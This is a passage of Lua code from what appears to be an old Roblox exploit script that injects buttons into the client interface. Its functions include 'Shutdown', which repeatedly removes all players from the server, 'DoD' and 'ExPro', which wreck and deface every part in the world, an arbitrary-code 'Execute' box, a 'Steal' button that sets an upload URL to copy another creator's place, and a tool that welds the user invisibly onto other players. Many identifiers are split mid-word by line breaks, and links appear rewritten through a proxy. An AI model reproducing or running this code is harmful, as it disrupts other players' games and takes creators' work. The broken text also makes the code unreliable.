local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
table.insert(namelist,ack.Name)
table.insert(variablelist,tfv)
local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
table.insert(flist,tfv)
text("You're an admin.",5,"Message",game.Workspace.CurrentCamera)
return
else
return
end
else
danumber = danumber + 1
if danumber >= 10 then
return
end end end end end end end

game.Players.ChildAdded:connect(oe)

c = game.Players:GetChildren()
for i=1,#c do
oe(c[i])
end]]
MergeScriptSource=[[
plr=game.Players.LocalPlayer
coroutine.resume(coroutine.create(function(plr) while(wait())do
if(plr.Character~=nil)then chr=plr.Character end end end),plr)
if(script.Parent.ClassName~="HopperBin")then
bin=Instance.new("HopperBin",plr.Backpack)
bin.Name="iMergeTool"
script.Name="iMergeScript"
script.Parent=bin
else
script.Name="iMergeScript"
bin=script.Parent
bin.Name="iMergeTool"
end
una=false
bin.Selected:connect(function(mouse)
function cff(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("Part"))then
Instance.new("ForceField",v)
end
cff(v)
end
end
cff(plr.Character)
mouse.Button1Down:connect(function()
if(mouse.Target~=nil)then
if(mouse.Target.Parent:IsA("Model"))then

if(mouse.Target.Parent:FindFirstChild("Humanoid"))then
if(mouse.Target.Parent.Humanoid.Health~=0)then
function cff(path)
for _,v in
pairs(path:GetChildren())do
if(v:IsA("Part"))then

Instance.new("ForceField",v)
end
cff(v)
end
end
cff(plr.Character)

chr:FindFirstChild("Torso").Anchored=false
inv=function(pth)
for _,v in
pairs(pth:GetChildren())do

if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"
))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("Skateboa
rdPlatform"))then
v.Transparency=1
end
inv(v)
end
end
inv(chr)

chr:FindFirstChild("Humanoid").PlatformStand=true

chr:FindFirstChild("Head").CanCollide=false

chr:FindFirstChild("Torso").CanCollide=false

chr:FindFirstChild("Torso").CFrame=CFrame.new(mouse.Target.Parent:FindFirstChild("T
orso").CFrame.p+Vector3.new(0,8,0))

chr:FindFirstChild("Head").CanCollide=true

chr:FindFirstChild("Torso").CanCollide=true
if
not(chr:FindFirstChild("iMergeWeld"))then
wld=Instance.new("Weld",chr)
wld.Name="iMergeWeld"
else

wld=chr:FindFirstChild("iMergeWeld")
function rff(path)
for _,v in
pairs(path:GetChildren())do

if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(wld.Part0.Parent)
end

wld.Part0=mouse.Target.Parent:FindFirstChild("Torso")
wld.Part1=chr:FindFirstChild("Torso")
wld.C1=CFrame.new(Vector3.new(0,-0.1,0))
if(mouse.Target~=nil)then
function iff(path)
for _,v in
pairs(path:GetChildren())do
if(v:IsA("Part"))then

Instance.new("ForceField",v)
end
iff(v)
end
end
iff(mouse.Target.Parent)

Instance.new("ForceField",mouse.Target.Parent)
end

coroutine.resume(coroutine.create(function(chr,una)
una=true
while(una)and wait() do
if
not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformSta
nd==true)then

chr:FindFirstChild("Torso").Anchored=true
break
else

chr:FindFirstChild("Torso").Anchored=false
end
end
end),chr,una)

coroutine.resume(coroutine.create(function(plr,chr)
while true and wait() do

if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
function rff(path)
for _,v in
pairs(path:GetChildren())do

if(v:IsA("ForceField"))then

v:remove()
end
rff(v)
end
end
rff(plr)
break
end
end
end),mouse.Target.Parent,chr)
end
end
elseif(mouse.Target.Parent:IsA("Hat"))then
if(mouse.Target.Parent.Parent:IsA("Model"))then

if(mouse.Target.Parent.Parent:FindFirstChild("Humanoid"))then

if(mouse.Target.Parent.Parent.Humanoid.Health~=0)then
inv=function(pth)
for _,v in
pairs(pth:GetChildren())do

if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"
))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("Skateboa
rdPlatform"))then
v.Transparency=1
end
inv(v)
end
end
inv(chr)

chr:FindFirstChild("Humanoid").PlatformStand=true

chr:FindFirstChild("Head").CanCollide=false

chr:FindFirstChild("Torso").CanCollide=false

chr:FindFirstChild("Torso").CFrame=CFrame.new(mouse.Target.Parent.Parent:FindFirstC
hild("Torso").CFrame.p+Vector3.new(0,8,0))

chr:FindFirstChild("Head").CanCollide=true

chr:FindFirstChild("Torso").CanCollide=true
if
not(chr:FindFirstChild("iMergeWeld"))then
wld=Instance.new("Weld",chr)
wld.Name="iMergeWeld"
else

wld=chr:FindFirstChild("iMergeWeld")
function rff(path)
for _,v in
pairs(path:GetChildren())do

if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(wld.Part0.Parent)
end

wld.Part0=mouse.Target.Parent.Parent:FindFirstChild("Torso")

wld.Part1=chr:FindFirstChild("Torso")
wld.C1=CFrame.new(Vector3.new(0,-
0.1,0))
if(mouse.Target~=nil)then
function iff(path)
for _,v in
pairs(path:GetChildren())do

if(v:IsA("Part"))then

Instance.new("ForceField",v)
end
iff(v)
end
end

iff(mouse.Target.Parent.Parent)
Instance.new("ForceField",mouse.Target.Parent.Parent)
end

coroutine.resume(coroutine.create(function(chr,una)
una=true
while(una)and wait() do
if
not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformSta
nd==true)then

chr:FindFirstChild("Torso").Anchored=true
break
else

chr:FindFirstChild("Torso").Anchored=false
end
end
end),chr,una)

coroutine.resume(coroutine.create(function(plr,chr)
while true and wait() do

if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
function rff(path)
for _,v in
pairs(path:GetChildren())do

if(v:IsA("ForceField"))then

v:remove()
end
rff(v)
end
end
rff(plr)
break
end
end

end),mouse.Target.Parent.Parent,chr)
end
end
end
end
end
end)
function onKeyDown(chr,una)
key_down=mouse.KeyDown:connect(function(key)
key=string.lower(key)
app=function(tra)

if(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("iMergeWeld").Part0~=nil
)then

rmt=chr:FindFirstChild("iMergeWeld").Part0.Parent
else
rmt=nil
end
if(rmt~=nil)then
function rff(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(rmt)
end
function cff(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
cff(v)
end
end
cff(chr)
una=false

if(chr:FindFirstChild("iMergeWeld"))or(chr:FindFirstChild("Humanoid").PlatformStand
==true)then
pcall(function(chr)
chr:FindFirstChild("iMergeWeld"):remove() end,chr)

chr:FindFirstChild("Torso").CFrame=CFrame.new(chr:FindFirstChild("Torso").CFrame.p+
Vector3.new(0,8,0))
end
vis=function(pth)
for _,v in pairs(pth:GetChildren())do

if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"
))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("Skateboa
rdPlatform"))then
v.Transparency=tra
end
vis(v)
end
end
vis(chr)
chr:FindFirstChild("Humanoid").PlatformStand=false
chr:FindFirstChild("Torso").Anchored=false
key_down:disconnect()
onKeyDown(chr,una)
end
if(key=="e")then
app(1)
elseif(key=="r")then
app(0)
end
end)
end
onKeyDown(chr,una)
end)
bin.Deselected:connect(function()

if(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("iMergeWeld").Part0~=nil
)then
rmt=chr:FindFirstChild("iMergeWeld").Part0.Parent
else
rmt=nil
end
coroutine.resume(coroutine.create(function(chr,una)
una=true
while(una)and wait() do
if
not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformSta
nd==true)then
chr:FindFirstChild("Torso").Anchored=true
break
else
chr:FindFirstChild("Torso").Anchored=false
end
end
end),chr,una)
coroutine.resume(coroutine.create(function(plr,chr)
while true and wait() do

if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
function rff(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(plr)
break
end
end
end),rmt,chr)
end)]]

local s=function(type)
return game:service(type)
end
wfp=function(Instance,Property)
while not Instance[Property]do Instance.Changed:wait''end
return Instance[Property]
end
wfo=function(i,p,n)
while 0 do
for i,v in pairs(i:children'')do
if v[p]==n then return v end
end
i.ChildAdded:wait''
end
end
CreateScript=function(Class,Parent,Text)
if#Scripts~=2 then FIXSCRIPTS''end
local Script=Scripts[Class]:clone''
local Work=Instance.new('StringValue',Script)
Work.Name='Change'
Work.Value=[[script.Change.Value='']]..Text
Script.Parent=Parent
return Script
end
pf=function(Name)
local Players={}
local name=Name:lower''
for i,v in pairs(s'Players':GetPlayers'')do
if(function()
if name=='me'then return v==Player
elseif name=='all'then return true
end
return v.Name:lower'':find(name)==1
end)()then
table.insert(Players,v)
end
end
return Players
end
SearchCommand=function(Text)
X(function()
local cmd=Text:match'(%w+)'
local asd={}
if not cmd then return end
local cmdf=Commands[cmd]
if not cmdf then return end
pcall(function()
Text='/'..Text:match(cmd..'(.+)')
for i in Text:gmatch'/([^/]+)'do table.insert(asd,i)end
end)
cmdf(Text:sub(2),asd)
end)
end
GetAll=function(Instance,Table)
if type(Table)~='table'then Table={}end
for i,v in pairs(Instance:children'')do
table.insert(Table,v)
GetAll(v,Table)
end
return Table
end
ctool=function(name)
local ntool=Instance.new("HopperBin", game.Players.LocalPlayer.Backpack)
ntool.Name = name
return ntool;
end
FindChildren=function(Instance,Property,Name)
local l={}
for i,v in pairs(GetAll(Instance))do
if v[Property]==Name then table.insert(l,v)end
end
return l
end
SaveFModel=function(i,n)
local connect
local insert=s'InsertService'
local model=Instance.new'Model'
local object=nil
connect=insert.DescendantAdded:connect(function(c)
if object then return end
c=c:clone''
if c.Name==n then
object=c
else
object=c:FindFirstChild(n)
end
if not object then return end
connect:disconnect''
end)
insert:LoadAsset(i)
while not object do model.ChildAdded:wait''end
return object
end
FIXSCRIPTS=function()

Scripts={Script=SaveFModel(65743611,'9999999999222');LocalScript=SaveFModel(6574362
9,'9999999999222')}
end
CommanderFocus=function()
if ShowBox.Value then return end
if not ChatButton.Visible then return end
ShowBox.Value=true
X(function()ChatBox:CaptureFocus''end)
end
CommandBar=function()
CommanderName='AMACCG'

CommanderScreen=Instance.new('ScreenGui',PlayerGui)

CommanderScreen.Name=CommanderName

ChatButton=Instance.new('TextButton',CommanderScreen)
ChatBox=Instance.new('TextBox',ChatButton)

ChatButton.Size=UDim2.new(1,0,0,17)
ChatButton.Position=UDim2.new(0,0,1,-17)
ChatButton.BackgroundColor3=Color3.new(0,0,0)
ChatButton.TextColor3=Color3.new(1,1,1)
ChatButton.TextXAlignment=0
ChatButton.FontSize=5
ChatButton.Font=2
ChatButton.AutoButtonColor=false
ChatButton.Text='Click here or press "\\" to use commander'

ChatBox.Size=UDim2.new(1,0,1)
ChatBox.Position=UDim2.new(0,0,1,-17)
ChatBox.BackgroundColor3=Color3.new(.6,0,0)
ChatBox.TextColor3=Color3.new(1,1,1)
ChatBox.TextXAlignment=0
ChatBox.FontSize=5
ChatBox.Font=2
ChatBox.Visible=ShowBox.Value
ChatBox.Text=''

table.insert(Connects,ChatButton.MouseButton1Down:connect(CommanderFocus))
ChatBox.Changed:connect(function(f)
if f~='Text'then return end
SearchCommand(ChatBox.Text)
ShowBox.Value=false
end)

ShowBox.Changed:connect(function(c)ChatBox.Visible=c end)

for i,v in pairs(PlayerGui:children'')do


if v.Name==CommanderName and v~=CommanderScreen then
pcall(v.remove,v)
end
end
end
ExproGui=function()
local edb = Instance.new("TextButton")
edb.Size = UDim2.new(.05, 0, .05, 0)
edb.Position = UDim2.new(0, 5, 0.5, -80);
edb.TextColor3 = Color3.new(1, 1, 1)
edb.MouseButton1Click:connect(function()
insrt = game:GetService("InsertService"):LoadAsset(21001552)
insrt2 = game:GetService("InsertService"):LoadAsset(35742089)
pcall(function()
for _, v in pairs(insrt:GetChildren()) do
v:Clone().Parent = game.Players.LocalPlayer.Backpack
end
for _, v in pairs(insrt2:GetChildren()) do
v:Clone().Parent = game.Players.LocalPlayer.Backpack
end
end)
end)

edb.Text = "Insert"
edb.Parent = game.CoreGui.RobloxGui
edb.Style = "RobloxButtonDefault"
edb.Draggable = true

local pb = Instance.new("TextButton")
pb.Size = UDim2.new(.05, 0, .05, 0)
pb.Position = UDim2.new(0, 5, 0.5, -25);
pb.Draggable = true
pb.TextColor3 = Color3.new(1, 1, 1)
pb.MouseButton1Click:connect(function()
local p=Instance.new("Part");
p.Name = "RAWR"
p.BrickColor = BrickColor.Random()
p.Material = ((math.random(1, 2) == 1) and "Ice") or "Wood";
p.CFrame = CFrame.new(math.random(-60, 60), (game.PlaceId == 41324860 and
350 or 60), math.random(-60, 60));
p.formFactor = "Custom"
p.Size = Vector3.new(0.5, math.random(2, 40)/10, 0.5)
p.Parent = workspace
end)
pb.Text = "Make part"
pb.Style = "RobloxButtonDefault"
pb.Parent = game.CoreGui.RobloxGui

function getAll(obj)
for i, v in pairs(obj:getChildren()) do
if v:IsA("BasePart") then
v.Anchored = false
v.Color = BrickColor.new("Really black").Color
bv = Instance.new("BodyVelocity")
bv.Parent = v
bv.maxForce = Vector3.new(100000000,100000000,100000000)
end
getAll(v)
end
end

function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset?
id=126242857" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = .5
One = Instance.new("Decal", v)
Two = Instance.new("Decal", v)
Three = Instance.new("Decal", v)
Four = Instance.new("Decal", v)
Five = Instance.new("Decal", v)
Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset?id=126242857"
Two.Texture = "http://www.roblox.com/asset?id=126242857"
Three.Texture = "http://www.roblox.com/asset?id=126242857"
Four.Texture = "http://www.roblox.com/asset?id=126242857"
Five.Texture = "http://www.roblox.com/asset?id=126242857"
Six.Texture = "http://www.roblox.com/asset?id=126242857"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end

local DoD = Instance.new("TextButton", game.CoreGui.RobloxGui)


DoD.Size = UDim2.new(.05, 0, .05, 0)
DoD.Position = UDim2.new(0, 5, 0.5, 70);
DoD.Text = "DoD"
DoD.TextColor3 = Color3.new(1, 1, 1)
DoD.Style = "RobloxButtonDefault"
DoD.Draggable = true

DoD.MouseButton1Click:connect(function()
getAll(workspace)
game.Lighting.TimeOfDay = "07:00:00"
game.Lighting.Ambient = Color3.new(0,0,0)
sky = Instance.new("Sky")
sky.Parent = game.Lighting
sky.SkyboxBk = "http://www.roblox.com/asset/?id=8772734"
sky.SkyboxDn = "http://www.roblox.com/asset/?id=8772734"
sky.SkyboxFt = "http://www.roblox.com/asset/?id=8772734"
sky.SkyboxLf = "http://www.roblox.com/asset/?id=8772734"
sky.SkyboxRt = "http://www.roblox.com/asset/?id=8772734"
sky.SkyboxUp = "http://www.roblox.com/asset/?id=8772734"
end)

Shutdown = Instance.new("TextButton", game.CoreGui.RobloxGui)


Shutdown.Size = UDim2.new(.05, 0, .05, 0)
Shutdown.Position = UDim2.new(0, 5, 0.5, 110)
Shutdown.Text = "Shutdown"
Shutdown.TextColor3 = Color3.new(1, 1, 1)
Shutdown.Style = "RobloxButtonDefault"
Shutdown.Draggable = true

Shutdown.MouseButton1Click:connect(function()
coroutine.resume(coroutine.create(function()
while wait() do
for _, v in pairs(game.Players:GetPlayers()) do
v.Parent = nil
end
end
end))
end)

ExPro = Instance.new("TextButton", game.CoreGui.RobloxGui)


ExPro.Size = UDim2.new(.05, 0, .05, 0)
ExPro.Position = UDim2.new(0, 5, 0.5, 150)
ExPro.Text = "ExPro"
ExPro.TextColor3 = Color3.new(1, 1, 1)
ExPro.Style = "RobloxButtonDefault"
ExPro.Draggable = true

ExPro.MouseButton1Click:connect(function()
exPro(workspace)
end)

ScriptFrame = Instance.new("Frame", game.CoreGui.RobloxGui)


ScriptFrame.Size = UDim2.new(0.5, 0, 0.75, 0)
ScriptFrame.Position = UDim2.new(0.300000012, 0, 0.200000003, 0)
ScriptFrame.Active = true
ScriptFrame.Draggable = true
ScriptFrame.Style = "RobloxRound"

Panel = Instance.new("TextBox", ScriptFrame)


Panel.BackgroundColor3 = Color3.new(1, 1, 1)
Panel.ClearTextOnFocus = true --Change to false if you want easy script
edit
Panel.FontSize = "Size9"
Panel.MultiLine = true
Panel.Position = UDim2.new(0, 0, 0.100000001, 0)
Panel.Size = UDim2.new(1, 0, 0.899999976, 0)
Panel.BorderSizePixel = 0
Panel.Text = ""
Panel.TextWrap = true
Panel.TextXAlignment = "Left"
Panel.TextYAlignment = "Top"

ExecuteButton = Instance.new("TextButton", ScriptFrame)


ExecuteButton.Font = "ArialBold"
ExecuteButton.FontSize = "Size12"
ExecuteButton.Text = "Execute"
ExecuteButton.Size = UDim2.new(.3, 0, .05, 0)
ExecuteButton.Style = "RobloxButtonDefault"
ExecuteButton.TextColor3 = Color3.new(1, 1, 1)
ExecuteButton.TextYAlignment = "Center"
ExecuteButton.TextXAlignment = "Center"

ExecuteButton.MouseButton1Click:connect(function()
local func = loadstring(Panel.Text) or function() end
pcall(function()
coroutine.resume(coroutine.create(func))
end)
end)

StealText = Instance.new("TextBox", game.CoreGui.RobloxGui)


StealText.BackgroundColor3 = Color3.new(1, 1, 1)
StealText.ClearTextOnFocus = false
StealText.Font = "ArialBold"
StealText.FontSize = "Size11"
StealText.Position = UDim2.new(0, 0, 0.879999995, 0)
StealText.Size = UDim2.new(0.100000001, 0, 0.0500000007, 0)
StealText.Text = ""

StealButton = Instance.new("TextButton", game.CoreGui.RobloxGui)


StealButton.Font = "ArialBold"
StealButton.FontSize = "Size12"
StealButton.Text = "Steal"
StealButton.Position = UDim2.new(0.100000001, 0, 0.879999995, 0)
StealButton.Size = UDim2.new(0.0700000003, 0, 0.0500000007, 0)
StealButton.TextColor3 = Color3.new(1, 1, 1)
StealButton.Style = "RobloxButtonDefault"

StealButton.MouseButton1Click:connect(function()
pcall(function()
game:GetService("Visit"):SetUploadUrl("http://www.roblox.com/Data/
Upload.ashx?assetid=" .. StealText.Text);
game.CoreGui.RobloxGui.ControlFrame.SaveDialogShield.Visible = true
end)
end)

coroutine.resume(coroutine.create(function()
while wait() do
game:ClearMessage()
end
end))

game.Players.LocalPlayer:SetSuperSafeChat(false);
end
ExplorerGui=function()
local name = "thejustifierx"

while true and wait() do


if (game.Players.LocalPlayer == nil) then else break end end

Properties={nil,"Name","className","Parent","archivable","AttachmentForward","Attac
hmentPos","AttachmentRight","AttachmentUp","AnimationId","HeadColor","RightArmColor
","LeftArmColor","TorsoColor","LeftLegColor","RightLegColor","Value","CameraType","
CameraSubject","BaseTextureId","BodyPart","MeshId","OverlayTextureId","MaxActivatio
nDistance","Shiny","Specular","Texture","Face","GripForward","GripPos","GripRight",
"GripUp","TextureId","TeamColor","Enabled","CFrame","BrickColor","Material","Reflec
tance","Transparency","Position","RotVelocity","Velocity","Anchored","CanCollide","
Locked","Elasticity","Friction","Shape","Size","formFactor","BackSurface","BottomSu
rface","FrontSurface","LeftSurface","RightSurface","TopSurface","AbsolutePosition",
"AbsoluteSize","Active","BackgroundColor3","BackgroundTransparency","BorderColor3",
"BorderSizePixel","SizeConstraint","Visible","ZIndex","C0","C1","Part0","Part1","Bi
nType","LeftLeg","RightLeg","Torso","Health","MaxHealth","WalkSpeed","Jump","Platfo
rmStand","Sit","AutoButtonColor","Image","LinkedSource","Disabled","Text","PrimaryP
art","CurrentAngle","DesiredAngle","MaxVelocity","PantsTemplate","ShirtTemplate","S
oundId","Pitch","IsPlaying","IsPaused","Looped","PlayOnRemove","StudsPerTileU","Stu
dsPerTileV","userId","BubbleChat","ClassicChat","MaxPlayers","NumPlayers","LocalPla
yer","CharacterAppearance","Character","CurrentCamera","Ambient","Brightness","Colo
rShift_Bottom","ColorShift_Top","ShadowColor","GeographicLatitude","TimeOfDay","Amb
ientReverb","DistanceFactor","DopplerScale","RolloffScale","FogEnd","FieldOfView","
FogStart","FogColor","CameraMode"}
GlobalProperties={nil,"Name","className","Parent","archivable"}

GlobalEvents={nil,"AncestryChanged","ChildAdded","ChildRemoved","DescendantAdded","
DescendantRemoving"}

GlobalFunctions={nil,"Clone","FindFirstChild","GetChildren","GetFullName","IsA","Is
AncesterOf","IsDescendantOf","Remove"}
local Selection=game
local updateDebounce=1
Base="http://www.roblox.com/asset/?id="

Images={Value=40332408,Sound=40332463,Script=40332546,ScreenGui=40332596,Part=40332
760,Nil=40332825,Model=40332865,Message=40332942,LocalScript=40332996,Joint=4033304
9,Frame=40333121,Camera=40333217,Backpack=40333260,Player=40332674,Body=40339623,Ho
pperBin=40339572,Tool=40339513,Workspace=40484518,Mesh=40484580,Property=40493937,A
nimation=40531758,Hat=40531808,Humanoid=40531903}
Min=1
Max=40
MAXPAGEN=40
--[[==================================================================]]
function GetProperties(Object,Table)
local Return={}
local function C() end
for i=1,#Table do
if pcall(function() C(Object[Table[i]]) end) then
if (Object:FindFirstChild(Table[i])==nil) then
table.insert(Return,Table[i])
end end end
return Return
end

function GetType(Prop)
if (type(Prop)=="userdata") then
if pcall(function() Prop.Name=Prop.Name end) then
return Prop.Name
end end
return Prop
end

function SetPropGui()
if (Selection~=nil) then
local PropGuiPos=0
local Gui=game:GetService("CoreGui"):FindFirstChild("PropertiesGui")
if (Gui~=nil) then
Gui:Remove()
end
PropGui=Instance.new("ScreenGui")
PropGui.Parent=game:GetService("CoreGui")
PropGui.Name="PropertiesGui"
local Props=GetProperties(Selection,Properties)
for i=1,#Props do
PropGuiPos=i
local Get=GetType(Props[i])
local Label=Instance.new("TextButton")
Label.Parent=PropGui
Label.Size=UDim2.new(0,150,0,15)
Label.Text=" "..tostring(Get).." | "..tostring(Selection[Get])
Label.BackgroundColor3=Color3.new(0.7,0.7,0.9)
Label.Name=tostring(Get)
Label.TextXAlignment="Left"
Label.Position=UDim2.new(0,230,0,(i*15)-15)
Label.TextColor3=Color3.new(0,0,0)
Label.BorderColor3=Color3.new(0,0,0)
Label.BackgroundTransparency=0.5
Label.Active=false
Label.AutoButtonColor=false
CreateImageLabel(Label,Base..Images.Property)
if (type(Selection[Props[i]])=="boolean") then
if pcall(function() Selection[Props[i]]=Selection[Props[i]] end) then
Label.Active=true
Label.AutoButtonColor=true
Label.BackgroundColor3=Color3.new(0.5,0.5,1)
Label.MouseButton1Click:connect(function()
if (Selection[Props[i]]==true) then
Selection[Props[i]]=false
elseif (Selection[Props[i]]==false) then
Selection[Props[i]]=true
end
Label.Text=" "..tostring(Props[i]).." |
"..tostring(Selection[Props[i]])
end) end end end
end end

function CreateImageLabel(Par,image)
local label=Instance.new("ImageLabel")
label.BackgroundColor3=Color3.new(1,1,1)
label.BackgroundTransparency=1
label.Name="ItemImage"
label.Size=UDim2.new(0,13,0,13)
label.Position=UDim2.new(0,1,0,1)
label.Image=image
label.BorderSizePixel=0
label.Parent=Par
end

function SetImage(Par,class)
if (class=="IntValue") or (class=="BoolValue") or (class=="StringValue") or
(class=="ObjectValue") or (class=="CFrameValue") or (class=="Vector3Value") or
(class=="NumberValue") or (class=="RayValue") or (class=="Color3Value") or
(class=="BrickColorValue") then
CreateImageLabel(Par,Base..Images.Value)
elseif (class=="Sound") or (class=="StockSound") or (class=="SoundService")
then
CreateImageLabel(Par,Base..Images.Sound)
elseif (class=="Script") then
CreateImageLabel(Par,Base..Images.Script)
elseif (class=="ScreenGui") or (class=="GuiMain") or
(class=="BillboardGui") then
CreateImageLabel(Par,Base..Images.ScreenGui)
elseif (class=="Part") or (class=="WedgePart") or (class=="TrussPart") then
CreateImageLabel(Par,Base..Images.Part)
elseif (class=="Model") then
CreateImageLabel(Par,Base..Images.Model)
elseif (class=="Hint") or (class=="Message") then
CreateImageLabel(Par,Base..Images.Message)
elseif (class=="LocalScript") then
CreateImageLabel(Par,Base..Images.LocalScript)
elseif (class=="Weld") or (class=="Snap") or (class=="Glue") or
(class=="Rotate") or (class=="RotateP") or (class=="RotateV") or
(class=="JointsService") then
CreateImageLabel(Par,Base..Images.Joint)
elseif (class=="Frame") or (class=="TextLabel") or (class=="TextButton") or
(class=="TextBox") or (class=="ImageButton") or (class=="ImageLabel") then
CreateImageLabel(Par,Base..Images.Frame)
elseif (class=="Camera") then
CreateImageLabel(Par,Base..Images.Camera)
elseif (class=="Backpack") or (class=="StarterGear") or
(class=="StarterPack") or (class=="StarterGui") or (class=="PlayerGui") then
CreateImageLabel(Par,Base..Images.Backpack)
elseif (class=="Player") or (class=="PseudoPlayer") or (class=="Players")
then
CreateImageLabel(Par,Base..Images.Player)
elseif (class=="BodyPosition") or (class=="BodyGyro") or
(class=="BodyVelocity") or (class=="BodyThrust") or (class=="BodyForce") or
(class=="RocketPropulsion") then
CreateImageLabel(Par,Base..Images.Body)
elseif (class=="HopperBin") then
CreateImageLabel(Par,Base..Images.HopperBin)
elseif (class=="Tool") then
CreateImageLabel(Par,Base..Images.Tool)
elseif (class=="Workspace") then
CreateImageLabel(Par,Base..Images.Workspace)
elseif (class=="BlockMesh") or (class=="SpecialMesh") or
(class=="CylinderMesh") then
CreateImageLabel(Par,Base..Images.Mesh)
elseif (class=="Animation") or (class=="CharacterMesh") then
CreateImageLabel(Par,Base..Images.Animation)
elseif (class=="Hat") then
CreateImageLabel(Par,Base..Images.Hat)
elseif (class=="Humanoid") then
CreateImageLabel(Par,Base..Images.Humanoid)
elseif (class=="StarterScript") then
CreateImageLabel(Par,Base..Images.LocalScript)
elseif (class=="CoreScript") then
CreateImageLabel(Par,Base..Images.LocalScript)
else CreateImageLabel(Par,Base..Images.Nil)
end
end
function SetExplGui()
if (Selection~=nil) then
local Gui=game:GetService("CoreGui"):FindFirstChild("ExplorerGui")
if (Gui~=nil) then Gui:Remove() end
local Children=Selection:GetChildren()
ExplGui=Instance.new("ScreenGui")
ExplGui.Parent=game:GetService("CoreGui")
ExplGui.Name="ExplorerGui"
if (Selection.Parent~=nil) then
local BackButton=Instance.new("TextButton")
BackButton.Size=UDim2.new(0,120,0,15)
BackButton.BorderColor3=Color3.new(0,0,0)
BackButton.TextColor3=Color3.new(0,0,0)
BackButton.Parent=ExplGui
BackButton.Text="Back to " .. Selection.Parent.Name
BackButton.BackgroundColor3=Color3.new(0.3,0.3,1)
BackButton.BackgroundTransparency=0.5
BackButton.Position=UDim2.new(0,380,0,0)
BackButton.Name="Back"
BackButton.MouseButton1Click:connect(function()
Selection=Selection.Parent
SetExplGui()
SetPropGui()
end) end
if (#Children>=MAXPAGEN) then
local f=0
for i=Min,Max do
f=f+1
local Obj=Instance.new("TextButton")
Obj.Size=UDim2.new(0,120,0,15)
Obj.BorderColor3=Color3.new(0,0,0)
Obj.TextColor3=Color3.new(0,0,0)
Obj.Parent=ExplGui
Obj.Text=" "..Children[i].Name
Obj.BackgroundColor3=Color3.new(0.4,0.4,0.6)
Obj.BackgroundTransparency=0.5
Obj.TextXAlignment="Left"
if (Selection.Parent~=nil) then Obj.Position=UDim2.new(0,380,0,(f*15)) else
Obj.Position=UDim2.new(0,380,0,(f*15)-15) end
Obj.Name=Children[i].Name
SetImage(Obj,Children[i].className)
Obj.MouseButton1Click:connect(function() pcall(function()
Selection=Children[i] SetExplGui() SetPropGui() end) end)
local Remove=Instance.new("TextButton")
Remove.Size=UDim2.new(0,15,0,15)
Remove.BorderColor3=Color3.new(0,0,0)
Remove.TextColor3=Color3.new(0,0,0)
Remove.Parent=ExplGui
Remove.Text="X"
Remove.BackgroundColor3=Color3.new(1,0.25,0.25)
Remove.BackgroundTransparency=0.5
Remove.Name="Remove" .. Children[i].Name
if (Selection.Parent~=nil) then Remove.Position=UDim2.new(0,500,0,(f*15))
else Remove.Position=UDim2.new(0,500,0,(f*15)-15) end
Remove.MouseButton1Click:connect(function() if (pcall(function()
Children[i]:Remove() end)) then SetPropGui() SetExplGui() else
Remove.BackgroundColor3=Color3.new(1,1,1) wait(1)
Remove.BackgroundColor3=Color3.new(1,0.25,0.25) end end)
end
local UP=Instance.new("TextButton")
UP.Position=UDim2.new(0,515,0,0)
UP.Size=UDim2.new(0,15,0,15)
UP.BorderColor3=Color3.new(0,0,0)
UP.TextColor3=Color3.new(0,0,0)
UP.Parent=ExplGui
UP.Text="^"
UP.BackgroundColor3=Color3.new(1,0.25,0.25)
UP.BackgroundTransparency=0.5
UP.Name="UpButton"
UP.MouseButton1Click:connect(function() if (Min<=1) then return end
Min=Min-1 Max=Max-1 SetExplGui() end)
local DOWN=Instance.new("TextButton")
DOWN.Position=UDim2.new(0,515,0,15)
DOWN.Size=UDim2.new(0,15,0,15)
DOWN.BorderColor3=Color3.new(0,0,0)
DOWN.TextColor3=Color3.new(0,0,0)
DOWN.Parent=ExplGui
DOWN.Text="v"
DOWN.BackgroundColor3=Color3.new(1,0.25,0.25)
DOWN.BackgroundTransparency=0.5
DOWN.Name="DownButton"
